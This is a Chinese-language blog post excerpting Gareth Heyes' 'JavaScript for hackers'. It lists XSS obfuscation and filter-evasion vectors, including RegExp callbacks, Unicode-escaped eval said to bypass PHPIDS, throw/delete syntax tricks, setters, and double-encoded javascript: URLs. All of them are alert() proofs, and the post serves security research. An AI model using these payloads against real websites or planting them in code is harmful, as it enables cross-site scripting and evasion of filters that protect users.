JavaScript for hackers

看到GARETHHEYESJavaScript for hackers,摘录一些。

这人很牛的。。。他的http://www.businessinfo.co.uk/labs/上有n多exp

RegExp可以执行任意代码

'somestring'.replace(/some/,function($1){ alert(/Fuck GFW/) })

非常典型的函数式编程漏洞。嘿嘿。'XSS'.replace(/XSS/g,alert) 函数当参数传递。

Unicode转义

\u0061lert(1)

eval('\\u'+'0061'+'lert(1)')这个方法可以轻松过PHPIDS

这个还不算很逆天的,Mozilla的那个E4X导致的escape/unescape漏洞才多

JS引擎的宽容

+alert(1)--
+alert(1)
1/alert(1)
alert(1)>>>/abc/
sla.ckers上对这方面很有研究

throw, delete语法

throw delete~typeof~alert(1)
delete alert(1)
delete~[a=alert]/delete a(1)
delete [a=alert],delete a(1)

真是把JS旮旯的语法都用上了

全局对象其实是表达式

把JS当英语自然语言描述
stop, open, print && alert(1)
javascript : /is/^{ a : ' weird ' }[' & wonderful ']/" language "
the_fun: ['never '] + stop['s']

有趣的Getters/Setters

defineSetter('x',alert); x=1;

Opera下有效

location的双重encoding

location='javascript:%61%6c%65%72%74%28%31%29'
location='javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c %75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)'

XSS矢量生成工具

作者提供了一个XSS矢量生成工具

衍生阅读

THE SPANNER(也是大牛)的两篇JAVASCRIPT FOR HACKERS

Comments